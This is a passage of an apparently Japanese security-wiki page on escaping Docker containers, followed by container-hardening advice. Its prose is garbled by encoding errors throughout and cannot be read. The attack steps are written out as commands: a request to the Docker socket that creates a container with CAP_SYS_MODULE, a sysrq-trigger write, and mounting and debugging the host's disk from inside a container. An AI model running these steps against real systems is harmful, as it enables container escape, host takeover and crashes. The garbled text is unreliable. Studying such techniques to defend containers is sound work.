ã·ã¹ãã 管çè ãDockerãã¡ã€ã¢ãŠã©ãŒã«ãèšå®ããéã«ãAPIïŒhttps://docs.docker.com/engine/api/v1.40/#operation/ContainerListïŒã®ãã©ã¡ãŒã¿ã®äžã«ãããCapabilitiesãã®ãããªéèŠãªå±æ§ãå¿ããŠããŸã£ãå¯èœæ§ããããŸãã次ã®äŸã§ã¯ããã®èšå®ãã¹ãæªçšããŠãSYS_MODULEã®æ©èœãæã€ã³ã³ãããäœæããŠå®è¡ããããšãã§ããŸãã
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability
Writable hostPath ããŠã³ã
ïŒãã¡ãããã®æ å ±ïŒã³ã³ããå ã§ã¯ãæ»æè ã¯ã¯ã©ã¹ã¿ã«ãã£ãŠäœæãããæžã蟌ã¿å¯èœãª hostPath ããªã¥ãŒã ãä»ããŠãåºç€ãšãªããã¹ã OS ãžã®ãããªãã¢ã¯ã»ã¹ãè©Šã¿ãããšããããŸãã以äžã¯ããã®æ»æãã¯ãã«ãå©çšããŠãããã©ããã確èªããããã«ãã³ã³ããå ã§ãã§ãã¯ã§ããäžè¬çãªäºé ã§ãã
### Check if You Can Write to a File-system
$ echo 1 > /proc/sysrq-trigger
### Check root UUID
$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem
$ findfs UUID=<UUID Value>/dev/sda1- Attempt to Mount the Host's Filesystem
$ mkdir /mnt-test
$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
### debugfs (Interactive File System Debugger)
$ debugfs /dev/sda1
ã³ã³ããã®ã»ãã¥ãªãã£æ¹å
Dockerã«ãããSeccomp
ããã¯Dockerã³ã³ããããã®è±åºã§ã¯ãªããDockerã䜿çšããã»ãã¥ãªãã£æ©èœã§ããDockerããã®è±åºãé²ãå¯èœæ§ããããããç¥ã£ãŠããã¹ãã§ãã
{% content-ref url="seccomp.md" %} seccomp.md {% endcontent-ref %}
Dockerã«ãããAppArmor
ããã¯Dockerã³ã³ããããã®è±åºã§ã¯ãªããDockerã䜿çšããã»ãã¥ãªãã£æ©èœã§ããDockerããã®è±åºãé²ãå¯èœæ§ããããããç¥ã£ãŠããã¹ãã§ãã
{% content-ref url="apparmor.md" %} apparmor.md {% endcontent-ref %}
èªèšŒãšèªå¯
èªèšŒãã©ã°ã€ã³ã¯ãçŸåšã®èªèšŒã³ã³ããã¹ããšã³ãã³ãã³ã³ããã¹ãã®äž¡æ¹ã«åºã¥ããŠãDockerããŒã¢ã³ãžã®ãªã¯ãšã¹ããæ¿èªãŸãã¯æåŠããŸããèªèšŒã³ã³ããã¹ãã«ã¯ãã¹ãŠã®ãŠãŒã¶ãŒã®è©³çŽ°ãšèªèšŒæ¹æ³ãå«ãŸããŸããã³ãã³ãã³ã³ããã¹ãã«ã¯ãé¢é£ãããªã¯ãšã¹ãããŒã¿ãå«ãŸããŸãã
{% content-ref url="broken-reference" %} ãªã³ã¯åã {% endcontent-ref %}
gVisor
gVisorã¯ãGoã§æžãããã¢ããªã±ãŒã·ã§ã³ã«ãŒãã«ã§ãããLinuxã·ã¹ãã ã®å€§éšåãå®è£
ããŠããŸããããã«ã¯ãOpen Container Initiative (OCI)ã®ã©ã³ã¿ã€ã ã§ããrunsc
ãå«ãŸããŠãããã¢ããªã±ãŒã·ã§ã³ãšãã¹ãã«ãŒãã«ã®éã«åé¢å¢çãæäŸããŸããrunsc
ã©ã³ã¿ã€ã ã¯DockerãšKubernetesãšçµ±åãããŠããããµã³ãããã¯ã¹åãããã³ã³ãããç°¡åã«å®è¡ã§ããŸãã
{% embed url="https://github.com/google/gvisor" %}
Kata Containers
Kata Containersã¯ã軜éãªä»®æ³ãã·ã³ã䜿çšããŠã³ã³ããã®ããã«æããããã©ãŒãã³ã¹ãæäŸããªãããããŒããŠã§ã¢ä»®æ³åæè¡ã䜿çšããŠãã匷åãªã¯ãŒã¯ããŒãã®åé¢ãå®çŸããããã«åãçµãã§ãããªãŒãã³ãœãŒã¹ã³ãã¥ããã£ã§ãã
{% embed url="https://katacontainers.io/" %}
å®å šã«ã³ã³ããã䜿çšãã
Dockerã¯ããã©ã«ãã§ã³ã³ãããå¶éããŠããŸãããããã®å¶éãç·©ãããšã»ãã¥ãªãã£äžã®åé¡ãçºçããå¯èœæ§ããããŸãã--privileged
ãã©ã°ã®å®å
šãªæš©éãæããªããŠããæš©éãå¶éããããšãéèŠã§ãã
ã³ã³ãããå®å šã«ä¿ã€ããã«ã¯ã次ã®ããšã«æ³šæããŠãã ããïŒ
--privileged
ãã©ã°ã䜿çšãããã³ã³ããå ã«Dockerãœã±ãããããŠã³ãããªãã§ãã ãããDockerãœã±ããã¯ã³ã³ããã®çæãå¯èœã«ããããã--privileged
ãã©ã°ã䜿çšããŠå¥ã®ã³ã³ãããå®è¡ãããªã©ããã¹ãã®å®å šãªå¶åŸ¡ãç°¡åã«ååŸããæ¹æ³ã§ãã- ã³ã³ããå ã§rootãšããŠå®è¡ããªãã§ãã ãããç°ãªããŠãŒã¶ãŒãŸãã¯ãŠãŒã¶ãŒããŒã ã¹ããŒã¹ã䜿çšããŠãã ãããã³ã³ããå ã®rootã¯ããŠãŒã¶ãŒããŒã ã¹ããŒã¹ã§ãªããããããªãéãããã¹ããšåãã§ããäž»ã«Linuxã®ããŒã ã¹ããŒã¹ãæ©èœãããã³cgroupsã«ãã£ãŠå¶éãããŠããŸãã
- ãã¹ãŠã®æ©èœãããããïŒ
--cap-drop=all
ïŒããå¿ èŠãªæ©èœã®ã¿ãæå¹ã«ããŠãã ããïŒ--cap-add=...
ïŒãå€ãã®ã¯ãŒã¯ããŒãã§ã¯æ©èœã¯å¿ èŠãããŸããããããããè¿œå ããããšã§æ»æã®ç¯å²ãåºãããŸãã - ãno-new-privilegesãã»ãã¥ãªãã£ãªãã·ã§ã³ã䜿çšããŠãããã»ã¹ãç¹æš©ãååŸããã®ãé²æ¢ããŠãã ãããããšãã°ãsuidãã€ããªãä»ããŠç¹æš©ãååŸããããšããããŸãã
- ã³ã³ããã«å©çšå¯èœãªãªãœãŒã¹ãå¶éããŠãã ããããªãœãŒã¹å¶éã¯ããµãŒãã¹æåŠæ»æãããã·ã³ãä¿è·ããããšãã§ããŸãã
- seccompãAppArmorïŒãŸãã¯SELinuxïŒãããã¡ã€ã«ã調æŽããŠãã³ã³ããã§äœ¿çšå¯èœãªã¢ã¯ã·ã§ã³ãšã·ã¹ã³ãŒã«ãæå°éã«å¶éããŠãã ããã
- å ¬åŒã®Dockerã€ã¡ãŒãžã䜿çšããããããããåºã«ç¬èªã®ã€ã¡ãŒãžããã«ãããŠãã ãããããã¯ãã¢ãä»èŸŒãŸããã€ã¡ãŒãžãç¶æ¿ãŸãã¯äœ¿çšããªãã§ãã ããã
- ã»ãã¥ãªãã£ããããé©çšããããã«å®æçã«ã€ã¡ãŒãžãåãã«ãããŠãã ãããããã¯åœç¶ã®ããšã§ãã
åèæç®
- https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
- https://twitter.com/_fel1x/status/1151487051986087936
- https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
-
ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ HackTricksã§ããªãã®äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãPEASSã®ææ°ããŒãžã§ã³ãHackTricksã®PDFãããŠã³ããŒããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
-
The PEASS FamilyãçºèŠããŸããããç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³ã§ãã
-
å ¬åŒã®PEASSïŒHackTricksã°ããºãæã«å ¥ããŸãããã
-
ð¬ Discordã°ã«ãŒããŸãã¯Telegramã°ã«ãŒãã«åå ããããTwitter ðŠ@carlospolopmããã©ããŒããŠãã ããã
-
**ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ã[hacktricksãªããžããª](https://github.com/carlospolop/hacktr